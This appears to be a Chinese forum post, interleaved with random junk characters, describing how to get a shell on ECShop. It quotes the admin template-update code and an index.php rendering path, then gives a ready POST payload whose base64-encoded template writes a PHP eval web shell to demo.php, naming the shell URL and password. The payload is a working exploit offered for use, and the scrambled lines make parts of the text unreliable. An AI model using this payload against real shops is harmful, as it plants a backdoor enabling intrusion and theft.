首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
/ t5 X( g3 C7 e. {6 S; |; v6 G$ U8 T
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了3 d5 E8 e( x! f" g
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
" N, S% \* [' I& iadmin/template.php+ Y% c1 w! A' \2 `8 K& S' ]( q% W
( S% i; Z* k* Z9 S2 N1 if ($_REQUEST['act'] == 'update_library')
/ w6 H% i: [0 I3 H, b% W
- J5 q% ?6 F% k* A% h/ s/ d2 & r" L, F8 Q7 A2 ]: w
- n$ }0 K3 d7 y3 }& F5 H6 o$ {3 { 4 n% H. _: y' w# |, m% W% c
1 v% q& I9 E+ n# `
4 check_authz_json('library_manage');
& M. I+ r- I( t, z6 l0 e) q( X- ]" w% `! |( ^6 o
5
, |. U% E) j! O/ I( Q) O% E K; ]8 q9 x8 H
6 $html = stripslashes(json_str_iconv($_POST['html']));
- `( K4 v$ \- I+ O# W. s/ H% k+ z; ?. _* o# X
7
9 ], v* b8 o3 N! M
% X' ]% o. A! ~8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
( V) Z. B$ f3 s! B3 v
& B2 D( {. ~' V! `3 {7 D! A0 ]* {9
* }9 b# @7 i3 f. n! W, F% d( y2 A7 V2 @$ r# U
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
9 D3 @) T# U: A9 A6 y1 ?& z+ ?$ C, D9 c3 a% H
11 / f, T3 {- b7 F: [/ E0 K" H
' }0 m3 \6 v2 J$ K: t+ Z! A12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 2 F2 ? N7 g& ^( x& F6 d* k
; ~0 n3 `# O& Y& |9 c( Q& T
13 4 x, e* o! P$ M+ T& n& M( C
) E5 R* K$ }7 I& e h! U
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
+ G) K* j, q! I9 `- b: y8 Q4 [
$ y" S8 C! c, V0 x7 |" ~6 r15 { 9 ~1 f2 f# P* m/ r5 i& M
- x- c2 @' r. M8 m& d$ K8 R, o
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 9 n$ K. \1 l: W7 b, a" b1 N
& Z" c& V3 A8 F2 C17 make_json_result('', $_LANG['update_lib_success']); 1 l6 D. f, m; h- i9 O% Y B# T
9 G* o; ` {6 P k5 d18 } . l( \& M1 M# y6 G9 W- o
0 K8 X: k( ]) {6 y# Z4 t3 K19 else
- m) Q1 L4 d4 V/ Z* a" l% Z% Z. \5 R9 E
20 { ' J+ l" Y' Y# @2 J, ]5 i
% D1 U+ o! ?; @# S+ {9 _7 }
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); / {5 U! W3 Y9 u3 ]
/ \+ _7 r* g1 C' \/ ?& E- s6 H
22 }
2 z# Q9 A1 k0 \8 ^0 K: g. e, D) h
23 }
) B6 O( B( w) T( l1 l+ F) l/ K$ E" z: }0 `8 |8 ^
那么找个比较方便调用了模板的文件
9 [3 k _- S! [4 X3 n- Iindex.php
3 S, D+ E( N' G B) `% W: b5 K+ D0 e3 y& ?2 L0 E% c& D
1 if ($act == 'cat_rec')
. v& Q; c0 \, Q( w# Z! R+ L) z4 [; [! i+ |% t6 l
2 + ^! g9 l3 J$ j6 \6 m% J
! @- \% y9 W6 b( x
3 {
; y0 U. D4 ^1 A7 i8 N& `
8 z2 [/ z, {' {- V; u' C4
. T! U3 ~+ B: v# d3 q6 o
, j: ^! d8 ^5 i5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 6 k: U+ u/ i, {1 d
7 L3 n. }6 ~ {5 R0 M9 o7 A3 t7 p6
" H4 C: g t# R( @# g# K: [( P0 {6 p) j/ q; [ p" u( R
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
* ~. c8 u0 ^& D5 I+ u
0 F* r ?7 Q8 y" h% Y& O8
- q9 C! P4 e' Y' z: A, ?
1 d' V6 [7 r: J; i4 W( p9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; , J. w7 T; h% c$ O! x( l9 r; i
8 s( M4 h- l- u10
% z, G9 R& f5 n) _
3 s; S( ]- n" z) m' A+ `11 include_once('includes/cls_json.php');
/ N+ c9 [( u; c8 ~; {! `5 A
: G9 I% \% K+ q; H l- I; ^12
: h2 W2 H. V) z/ d9 U3 }* a. `' F
d' m+ K' r& P+ z4 ~" [! E13 $json = new JSON;
! Z2 l1 ]- }, G: F3 \ a N+ o/ I7 h. V6 d5 J
14
; U% o" Q! Y' E2 f8 j% J: E4 \4 }- C6 Y
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
0 V, g# ?* @! ~& g5 o |7 K8 x# [8 U' h- }. x* J6 P
16 i% h; c! ?( _6 L" @: {7 A* S8 a
7 h7 I. _) }. w! h7 a$ ~# [ X& }17 $children = get_children($cat_id); 9 o& A- u& ^9 t9 k* J
; h8 [! D! k* M- S4 V* T18 4 f! T# K, ?2 F( N. G. Z
8 l1 l$ W" v, v
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 ) z' @1 |4 q' Q0 M+ h
% s. ?2 [& A D5 X3 Q" i& [% a20 3 p4 C' ^6 {# I; U! D5 _
$ M1 E: i/ j0 I$ n1 ~
21 $smarty->assign('cat_rec_sign', 1);
9 Q& x% }1 R5 }. S$ i# t! X- g# K" P) Z
2 I0 k/ ?8 k0 s: k2 d6 f22
; T5 A j% z5 i
$ n0 |# J: y z4 ~" N. {: K23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
9 b Z% [- m- x3 m/ Y
) M ~ p7 r) N0 ^- f24
9 P+ X5 i0 X$ @! o' ]( t) ^
; ^/ Z& P! F( z6 A D25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 6 }" F4 {# [( G# z6 h1 C6 n7 t
" ?) c7 W% E9 G4 F, ^26 J, c# ], I$ \- O0 i: ^2 V: m
( ^0 B; Q( C* x* X8 i; w27 echo $rec_array[$rec_type]; ' W5 c/ T. u, J
7 X# S8 B: P% Y9 @& \3 `28 # W9 o/ a& `% `. {
: f9 G* ]- X+ r; m
29 die($json->encode($result)); : v, F, L: D1 B9 x, l1 J
$ P( T8 k/ M+ a, E
30
3 j/ r. V1 O. a6 x& t" q
B% h0 N* d% a! E0 b31 }
* {' V) v+ q7 U f0 L
1 R5 H& l6 C7 `* o7 y那么就有利用方法了
, X- h1 }& V# `2 H; G* p0 o* I' U7 Apost包到http://localhost/ec/admin/template.php?act=update_library
+ F4 P% m& u; ~* u1 }" `7 pPost内容:. x; `/ v6 V# i! d7 E
# O5 @: u& W# n+ ?+ c1 x Z2 p" X3 Q7 @7 p
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} $ ^2 g, S$ E. z0 ^- G4 `7 {& [
* d3 d" I- X& X# T然后访问http://localhost/ec/index.php?act=cat_rec, o1 V5 b1 s5 x0 w
2 N% R/ w' @) k- T/ q, ?shel地址:http://localhost/ec/demo.php
/ N# ^4 [) N2 @& S; I密码c( R- E; x. b: N- ~7 C; }, P
' `/ J7 |8 E9 U+ T/ Y |